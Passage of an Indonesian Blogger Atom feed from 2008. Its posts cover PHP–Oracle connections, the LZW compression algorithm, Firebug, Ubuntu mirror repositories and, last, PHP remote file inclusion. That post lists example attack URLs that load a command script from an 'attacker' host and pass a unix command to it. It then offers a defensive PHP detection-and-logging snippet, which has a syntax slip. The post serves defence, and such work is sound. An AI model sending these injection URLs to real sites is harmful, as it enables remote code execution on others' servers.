187);"&gt;?&gt;&lt;/span&gt; &lt;/span&gt; &lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;/div&gt;     &lt;/div&gt;&lt;div style="text-align: justify; font-family: verdana;"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3273247535505995851-6372990367365368286?l=budiastika.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://budiastika.blogspot.com/feeds/6372990367365368286/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://budiastika.blogspot.com/2008/08/koneksi-php-dan-oracle.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default/6372990367365368286'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default/6372990367365368286'/><link rel='alternate' type='text/html' href='http://budiastika.blogspot.com/2008/08/koneksi-php-dan-oracle.html' title='Koneksi PHP dan Oracle'/><author><name>budiastika</name><uri>http://www.blogger.com/profile/11854144096219803105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_CghXPsJoC_0/SSFIaP2ki1I/AAAAAAAAAAs/OOcyJQZ3iyI/S220/Picture+001.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3273247535505995851.post-6431928888690765386</id><published>2008-07-25T09:52:00.000+07:00</published><updated>2008-07-25T10:13:23.052+07:00</updated><title type='text'>oci_connect dan ocilogon</title><content type='html'>&lt;div  style="text-align: justify;font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;Bagi pengguna php dan oracle pasti akan kenal yang namanya oci8, oci8 ini adalah salah satu kompnen yang diperlukan untuk melakukan koneksi antara php dengan database oracle.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;Nah... untuk melakukan koneksi maka diperlukan yang namanya oci_connect atau ocilogon.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;Untuk kedua hal tersebut adalah sama yaitu perintah yang digunakan untuk melakukan koneksi antara php dan oracle.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;Yang membedakan adalah untuk oci_connect mulai disuport oleh php5 makanya jika make php dibawah php5 tidak bisa. Jika anda memakai php5 maka sangat disarankan untuk menggunakan oci_connect, karena jika anda memakai ocilogon maka di sisi oracle akan membentuk session sampai apache direstart baru sesion yang timbul di kill, jadi jika anda melakukan ocilogon berkali-kali akan muncul session yang banyak. Misal jika anda punya 10 pengguna yang menggunakan aplikasi anda, dan mereka semua melakukan 10 kali refresh pada halaman yang memakai ocilogon, maka akan terbentuk 10 * 10 =100 sesion, sangat boros padahal cuma ada 10 user  kok ada 100 sesion. Coba anda bayangkan jika pengguna aplikasi ada 1000 orang! . Nah kelemahan ini diperbaiki jika anda memakai oci_connect, karena sesion yang terjadi akan di kill secara otomatis setelah query selesai.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;Silakan anda coba, dan semoga bermanfaat..&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3273247535505995851-6431928888690765386?l=budiastika.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://budiastika.blogspot.com/feeds/6431928888690765386/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://budiastika.blogspot.com/2008/07/ociconnect-dan-ocilogon.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default/6431928888690765386'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default/6431928888690765386'/><link rel='alternate' type='text/html' href='http://budiastika.blogspot.com/2008/07/ociconnect-dan-ocilogon.html' title='oci_connect dan ocilogon'/><author><name>budiastika</name><uri>http://www.blogger.com/profile/11854144096219803105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_CghXPsJoC_0/SSFIaP2ki1I/AAAAAAAAAAs/OOcyJQZ3iyI/S220/Picture+001.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3273247535505995851.post-1564745731802374159</id><published>2008-07-09T12:32:00.001+07:00</published><updated>2008-07-09T12:53:00.638+07:00</updated><title type='text'>Algoritma  Lempel Ziv Welch (LZW)</title><content type='html'>Algoritma LZW dikembangkan dari metode kompresi yang dibuat oleh Ziv dan Lempel pada tahun 1977. Algoritma ini melakukan kompresi dengan menggunakan dictionary, di mana fragmen-fragmen teks digantikan dengan indeks yang diperoleh dari sebuah “kamus”. Prinsip sejenis juga digunakan dalam kode Braille, di mana kode-kode khusus digunakan untuk merepresentasikan kata-kata yang ada. Pendekatan ini bersifat adaptif dan efektif karena banyak karakter dapat dikodekan dengan mengacu pada string yang telah muncul sebelumnya dalam teks. Prinsip kompresi tercapai jika referensi dalam bentuk pointer dapat disimpan dalam jumlah bit yang lebih sedikit dibandingkan string aslinya. Algoritmanya sebagai berikut: &lt;br /&gt;1. Dictionary diinisialisasi dengan semua karakter dasar yang ada :&lt;br /&gt;2. P = karakter pertama dalam stream karakter.&lt;br /&gt;3. C = karakter berikutnya dalam stream karakter.&lt;br /&gt;4. Apakah string (P + C) terdapat dalam dictionary ?&lt;br /&gt;• Jika ya, maka P = P + C (gabungkan P dan C menjadi string baru).&lt;br /&gt;• Jika tidak, maka :&lt;br /&gt;i. Output sebuah kode untuk menggantikan string P.&lt;br /&gt;ii. Tambahkan string (P + C) ke dalam dictionary dan berikan nomor/kode berikutnya yang belum digunakan dalam dictionary untuk string tersebut.&lt;br /&gt;iii. P = C.&lt;br /&gt;5. Apakah masih ada karakter berikutnya dalam stream karakter ?&lt;br /&gt;• Jika ya, maka kembali ke langkah 2.&lt;br /&gt;• Jika tidak, maka output kode yang menggantikan string P, lalu terminasi proses (stop).&lt;br /&gt;&lt;br /&gt;Proses dekompresi pada LZW dilakukan dengan prinsip yang sama seperti proses kompresi.  Pada awalnya, dictionary diinisialisasi dengan semua karakter dasar yang ada. Lalu pada setiap langkah, kode dibaca satu per satu dari stream kode, dikeluarkan string dari dictionary yang berkorespondensi dengan kode tersebut, dan ditambahkan string baru ke&lt;br /&gt;dalam dictionary. Metode LZW yang diterapkan dalam penelitian ini bertipe dinamik, dimana hanya dilakukan satu kali pembacaan (one-pass) terhadap file yang akan dikompresi. Pengkodean data dilakukan secara on the fly, bersamaan dengan proses penambahan string baru ke dalam dictionary. Algoritma dekompresinya sebagai berikut:&lt;br /&gt;&lt;br /&gt;1. Dictionary diinisialisasi dengan semua karakter dasar yang ada : &lt;br /&gt;2. CW = kode pertama dari stream kode (menunjuk ke salah satu karakter dasar).&lt;br /&gt;3. Lihat dictionary dan output string dari kode tersebut (string.CW) ke stream karakter.&lt;br /&gt;4. PW = CW; CW = kode berikutnya dari stream kode.&lt;br /&gt;5. Apakah string.CW terdapat dalam dictionary ?&lt;br /&gt;􀂉 Jika ada, maka :&lt;br /&gt;i. output string.CW ke stream karakter&lt;br /&gt;ii. P= string.PW&lt;br /&gt;iii. C = karakter pertama dari string.CW&lt;br /&gt;iv. tambahkan string (P+C) ke dalam dictionary&lt;br /&gt;􀂉 Jika tidak, maka :&lt;br /&gt;i. P =string.PW&lt;br /&gt;ii. C = karakter pertama dari string.PW&lt;br /&gt;iii. output string (P+C) ke stream karakter dan tambahkan string tersebut ke dalam   dictionary (sekarang berkorespondensi dengan CW);&lt;br /&gt;6. Apakah terdapat kode lagi di stream kode ?&lt;br /&gt;􀂉 Jika ya, maka kembali ke langkah 4.&lt;br /&gt;􀂉 Jika tidak, maka terminasi proses (stop).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3273247535505995851-1564745731802374159?l=budiastika.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://budiastika.blogspot.com/feeds/1564745731802374159/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://budiastika.blogspot.com/2008/07/kompresi-pada-citra-digital-dengan.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default/1564745731802374159'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default/1564745731802374159'/><link rel='alternate' type='text/html' href='http://budiastika.blogspot.com/2008/07/kompresi-pada-citra-digital-dengan.html' title='Algoritma  Lempel Ziv Welch (LZW)'/><author><name>budiastika</name><uri>http://www.blogger.com/profile/11854144096219803105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_CghXPsJoC_0/SSFIaP2ki1I/AAAAAAAAAAs/OOcyJQZ3iyI/S220/Picture+001.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3273247535505995851.post-8932703319763814554</id><published>2008-07-07T08:06:00.000+07:00</published><updated>2008-07-07T08:08:14.503+07:00</updated><title type='text'>firefox dan firebug untuk tool develop aplikasi web</title><content type='html'>&lt;div style="text-align: justify; font-family: verdana;"&gt;&lt;span style="font-size:85%;"&gt;salah satu tool yang digunakan dalam melakukan develope suatu aplikasi web adalah browser. Salah satu browser yang disarankan yaitu firefok, yang nantinya akan ditambahkan firebug pada adsonnya. kegunaan dari firebug ini adalah untuk mengetahui kesalahan-kesalahan yang mungkin terjadi tapi tidak terlihat lewat bowser sendiri, contohnya adalah kesalahan dari javascript yang kita gunakan. lewat konsol-nya akan ada suatu peringatan tentang error-error yang terjadi. Selain javascrip firebug juga bisa digunakan untuk medeteksi kesalahan script css. Jika anda menggunakan ajax pada aplikasi web anda, firebug ini sangat berguna karena kita dapat melihat isi dari paket yang dikirim lewat ajax. Lewat firebug ini juga kita dapat melihat apa saja yang diload oleh browser saat melakukan akses suatu halaman dari aplikasi kita. Selain yang diatas kita juga bisa melihat cookies yang dipakai oleh browser saat mengakses suatu halaman. Semoga hal ini dapat berguna bagi anda...&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3273247535505995851-8932703319763814554?l=budiastika.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://budiastika.blogspot.com/feeds/8932703319763814554/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://budiastika.blogspot.com/2008/07/firefox-dan-firebug-untuk-tool-develop.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default/8932703319763814554'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default/8932703319763814554'/><link rel='alternate' type='text/html' href='http://budiastika.blogspot.com/2008/07/firefox-dan-firebug-untuk-tool-develop.html' title='firefox dan firebug untuk tool develop aplikasi web'/><author><name>budiastika</name><uri>http://www.blogger.com/profile/11854144096219803105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_CghXPsJoC_0/SSFIaP2ki1I/AAAAAAAAAAs/OOcyJQZ3iyI/S220/Picture+001.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3273247535505995851.post-6410141511317152845</id><published>2008-06-26T14:29:00.000+07:00</published><updated>2008-06-26T14:32:02.991+07:00</updated><title type='text'>Mirror Ubuntu Di Indonesia</title><content type='html'>&lt;div align="justify"&gt;&lt;span style="font-family:verdana;font-size:85%;"&gt;Kabar gembira untuk para pengguna Ubuntu di Indonesia, saat ini telah meluncur mirror baru Ubuntu yang merupakan hasil usaha dari &lt;/span&gt;&lt;a href="http://indika.net.id/"&gt;&lt;span style="font-family:verdana;font-size:85%;"&gt;IndikaNet&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:verdana;font-size:85%;"&gt; yang bekerja sama dengan &lt;/span&gt;&lt;a href="http://ictcentre.net/"&gt;&lt;span style="font-family:verdana;font-size:85%;"&gt;ICT Centre Jakarta&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:verdana;font-size:85%;"&gt;. Server mirror yang mempunyai kapasitas gigabit network ke IIX ini menyediakan &lt;/span&gt;&lt;a href="http://ubuntu.indika.net.id/"&gt;&lt;span style="font-family:verdana;font-size:85%;"&gt;repositori&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:verdana;font-size:85%;"&gt; archive Ubuntu serta &lt;/span&gt;&lt;a href="http://ubuntu.indika.net.id/ubuntu-releases/"&gt;&lt;span style="font-family:verdana;font-size:85%;"&gt;kumpulan ISO&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:verdana;font-size:85%;"&gt; dari rilis-rilis keluarga Ubuntu. Dengan adanya alternatif server mirror baru ini maka diharapkan akan lebih mempermudah para pengguna Ubuntu di Indonesia untuk dapat menikmati keindahan Ubuntu.&lt;br /&gt;Berikut ini adalah contoh sources.list untuk Anda yang ingin menggunakan repositori Ubuntu yang ada di Indika.&lt;/span&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;span style="font-family:verdana;font-size:85%;"&gt;### sources.list.indika&lt;br /&gt;### Repository dengan menggunakan server mirror ubuntu.indika.net.id&lt;br /&gt;### Contoh untuk versi edgy &amp;amp; untuk versi lain cukup ganti aja edgy menjadi dapper atau breezy&lt;br /&gt;## REPOSITORY UTAMA&lt;br /&gt;deb http://ubuntu.indika.net.id/ edgy main restricted universe multiverse&lt;br /&gt;deb-src http://ubuntu.indika.net.id/ edgy main restricted universe multiverse&lt;br /&gt;## INI UNTUK MAJOR BUG FIX UPDATES&lt;br /&gt;deb http://ubuntu.indika.net.id/ edgy-updates main restricted universe multiverse&lt;br /&gt;deb-src http://ubuntu.indika.net.id/ edgy-updates main restricted universe multiverse&lt;br /&gt;## INI UNTUK UBUNTU SECURITY UPDATES&lt;br /&gt;deb http://ubuntu.indika.net.id/ edgy-security main restricted universe multiverse&lt;br /&gt;deb-src http://ubuntu.indika.net.id/ edgy-security main restricted universe multiverse&lt;br /&gt;Satu informasi lagi seputar mirror baru Ubuntu ini, selain menggunakan alamat situs yang berada diatas. Anda dapat juga mengakses server mirror tersebut melalui alamat &lt;/span&gt;&lt;a href="http://id.archive.ubuntu.com/"&gt;&lt;span style="font-family:verdana;font-size:85%;"&gt;http://id.archive.ubuntu.com/&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:verdana;font-size:85%;"&gt;. Hal ini adalah hadiah yang sangat baik untuk pengguna Ubuntu di Indonesia karena selama ini id.archive.ubuntu.com yang merupakan alamat default untuk akses dari Indonesia tersebut masih mengarah ke server yang ada di luar negeri dan sekarang alamat tersebut telah diarahkan ke server mirror Indika sehingga Anda dapat memperoleh akses ke repositori dengan lebih cepat. Selain itu juga ada satu alamat lagi yang telah diarahkan ke server mirror Indika, yaitu &lt;/span&gt;&lt;a href="http://id.releases.ubuntu.com/"&gt;&lt;span style="font-family:verdana;font-size:85%;"&gt;http://id.releases.ubuntu.com/&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:verdana;font-size:85%;"&gt;, tempat untuk mendapat ISO dari keluarga Ubuntu.&lt;br /&gt;Terakhir tidak lupa diucapkan banyak terima kasih kepada IndikaNet, ICT Center Jakarta, dan rekan-rekan yang telah membantu merealisasikan server mirror Ubuntu ini dan tidak lupa juga kepada para pengguna Ubuntu di Indonesia. Akhir kata selamat menikmati!&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3273247535505995851-6410141511317152845?l=budiastika.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://budiastika.blogspot.com/feeds/6410141511317152845/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://budiastika.blogspot.com/2008/06/mirror-ubuntu-di-indonesia.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default/6410141511317152845'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default/6410141511317152845'/><link rel='alternate' type='text/html' href='http://budiastika.blogspot.com/2008/06/mirror-ubuntu-di-indonesia.html' title='Mirror Ubuntu Di Indonesia'/><author><name>budiastika</name><uri>http://www.blogger.com/profile/11854144096219803105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_CghXPsJoC_0/SSFIaP2ki1I/AAAAAAAAAAs/OOcyJQZ3iyI/S220/Picture+001.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3273247535505995851.post-738238218458813733</id><published>2008-06-25T16:36:00.000+07:00</published><updated>2008-06-25T16:47:01.684+07:00</updated><title type='text'>PHP Injection</title><content type='html'>&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; Serangan web dewasa ini semakin banyak memanfaatkan vulnerabillity pada script PHP, yaitu saat seorang programmer tidak  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; melakukan sanitasi input pada script yang dia buat, disaat register_globals ON dan allow_fopen_url maka seorang attacker  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; dapat melakukan injeksi pada script PHP yang vulnerable secara remote. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; Caranya yaitu dengan mengeksekusi script vulnerable dengan meng-inject melalui url dari server attacker yang telah berisi  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; script untuk melakukan exploitasi.  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; Dampak ini dapat dihilangkan dengan men-set register_globals OFF, tetapi cara ini kurang effektif karena banyak aplikasi  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; third party yang mengharuskan register_globals ON. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; Better Solutions &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; `````````````````` &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; Teknik-teknik PHP Injection yang sering digunakan oleh attacker : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 1. &lt;/span&gt;&lt;a style="font-family: verdana;" href="http://www.target.com/main.php?r=http://attacker/cmd.jpg?&amp;amp;cmd=%3Cunix" target="_blank"&gt;www.target.com/main.php?r=http://attacker/cmd.jpg?&amp;amp;cmd=&lt;unix&lt;/a&gt;&lt;span style="font-family: verdana;"&gt; command&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 2. &lt;/span&gt;&lt;a style="font-family: verdana;" href="http://www.target.com/main.php?r=http://attacker/cmd.gif&amp;amp;cmd=%3Cunix" target="_blank"&gt;www.target.com/main.php?r=http://attacker/cmd.gif&amp;amp;cmd=&lt;unix&lt;/a&gt;&lt;span style="font-family: verdana;"&gt; command&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 3. &lt;/span&gt;&lt;a style="font-family: verdana;" href="http://www.target.com/main.php?r=http://attacker/cmd.txt" target="_blank"&gt;www.target.com/main.php?r=http://attacker/cmd.txt&lt;/a&gt;&lt;span style="font-family: verdana;"&gt;\&amp;amp;cmd=&lt;unix&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 4. &lt;/span&gt;&lt;a style="font-family: verdana;" href="http://www.target.com/main.php?r=http://attacker/cmd.txt&amp;amp;cmd=%3Cunix" target="_blank"&gt;www.target.com/main.php?r=http://attacker/cmd.txt&amp;amp;cmd=&lt;unix&lt;/a&gt;&lt;span style="font-family: verdana;"&gt; command&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 5. &lt;/span&gt;&lt;a style="font-family: verdana;" href="http://www.target.com/main.php?r=http://attacker/cmd.jpg?cmd=%3Cunix" target="_blank"&gt;www.target.com/main.php?r=http://attacker/cmd.jpg?cmd=&lt;unix&lt;/a&gt;&lt;span style="font-family: verdana;"&gt; command&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; dengan melihat url tersebut kita dapat mengambil kesimpulan bahwa : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 1. attacker menyimpan script inject dalam bentuk extension jpg, gif, dan txt &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 2. attacker menggunakan variabel cmd untuk injection &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 3. attacker menggunakan beberapa kombinasi penghubung &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; Berdasarkan hal tersebut kita dapat membuat sebuah script sederhana untuk mensanitasi bentuk url yang dicurigai sebagai  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; bentuk PHP Injection, serta melakukan logging terhadap aktifitas dari attacker. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; Ok...to the point, this the script : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;   sertakan script ini pada file konfigurasi aplikasi kita. &lt;/span&gt;&lt;br /&gt;&lt;/span&gt;                  &lt;p style="font-family: verdana;"&gt;&lt;span style="font-size:85%;"&gt;(modifikasi script/referensi dari internet via uncle google)&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: verdana;"&gt; 1. &lt;?php &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 2. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 3.   if ( &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 4.      ereg('gif\?cmd',$_SERVER['REQUEST_URI']) || &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 5.         ereg('gif&amp;amp;cmd',$_SERVER['REQUEST_URI']) || &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 6.            ereg('jpg\?cmd',$_SERVER['REQUEST_URI']) || &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 7.            ereg('jpg&amp;amp;cmd',$_SERVER['REQUEST_URI']) || &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 8.         ereg('txt?cmd',$_SERVER['REQUEST_URI']) || &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 9.      ereg('txt&amp;amp;cmd',$_SERVER['REQUEST_URI']) || &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 10. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 11.      ereg('gif\?',$_SERVER['REQUEST_URI']) || &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 12.         ereg('gif&amp;amp;',$_SERVER['REQUEST_URI']) || &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 13.            ereg('jpg\?',$_SERVER['REQUEST_URI']) || &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 14.            ereg('jpg&amp;amp;',$_SERVER['REQUEST_URI']) || &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 15.         ereg('txt?',$_SERVER['REQUEST_URI']) || &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 16.      ereg('txt&amp;amp;',$_SERVER['REQUEST_URI']) &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 17. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 18.      ) &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 19.   { &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 20.      // bagian untuk mencatat aktifitas hacking &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 21.      // dan mengirimkan email pada administrator &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 22.       &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 23.      $ip = $_SERVER['REMOTE_ADDR']; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 24.      $date = date("m/d/Y g:i:s a"); &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 25.      $referer = $_SERVER['HTTP_REFERER']; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 26.      $uri = $_SERVER['REQUEST_URI'] &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 27. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 28.      $fl = fopen('log.txt', 'a'); &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 29.      fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$uri."\n"); &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 30.      fclose($fl);  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 31.      $msg = "Terdapat percobaan hacking pada server ".$_SERVER['REMOTE_ADDR']."  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;          mencoba untuk mengeksekusi ".$_SERVER['REQUEST_URI']; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 32.      mail('  &lt;/span&gt;&lt;a style="font-family: verdana;" href="mailto:anstellwinkel@yahoo.com.au"&gt;anstellwinkel@yahoo.com.au&lt;/a&gt;&lt;a style="font-family: verdana;" href="mailto:anstellwinkel@yahoo.com.au"&gt;anstellwinkel@yahoo.com.au&lt;/a&gt;&lt;span style="font-family: verdana;"&gt;' ,'Percobaan hacking pada '.$_SERVER['REQUEST_URI'],$msg); &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 33.      die('Silahkan hentikan percobaan anda!'); &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 34.   }  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 35. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; 36. ?&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; penjelasan : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; Baris 1 - 16 --&gt; apabila ditemukan pola tersebut pada url maka script ini akan dieksekusi &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; Baris 23 - 30 --&gt; mencatat IP address, tanggal, referer dan url yang digunakan oleh attacker serta mencatatnya pada &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;                   file log.txt &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; Baris 31 - 33 --&gt; Mengirim semua aktifitas hacking ke email administrator &lt;/span&gt;&lt;/span&gt;&lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  var prefix = '&amp;#109;a' + 'i&amp;#108;' + '&amp;#116;o';  var path = 'hr' + 'ef' + '=';  var addy21663 = '&amp;#97;nst&amp;#101;llw&amp;#105;nk&amp;#101;l' + '&amp;#64;';  addy21663 = addy21663 + 'y&amp;#97;h&amp;#111;&amp;#111;' + '&amp;#46;' + 'c&amp;#111;m' + '&amp;#46;' + '&amp;#97;&amp;#117;';  document.write( '&lt;a&gt;' );  document.write( addy21663 );  document.write( '&lt;\/a&gt;' );  //--&gt;\n &lt;/script&gt;&lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  document.write( '&lt;span style="\'display:"&gt;' );  //--&gt;  &lt;/script&gt;&lt;span style="display: none;"&gt;&lt;span style="display: none;"&gt;Alamat Email inidilindungi dari bot spam, Anda Harus Mengaktifkan Javascript Untuk Melihatnya  &lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  document.write( '&lt;/' );  document.write( 'span&gt;' );  //--&gt;  &lt;/script&gt;&lt;/span&gt;&lt;/span&gt;    &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3273247535505995851-738238218458813733?l=budiastika.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://budiastika.blogspot.com/feeds/738238218458813733/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://budiastika.blogspot.com/2008/06/php-injection.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' 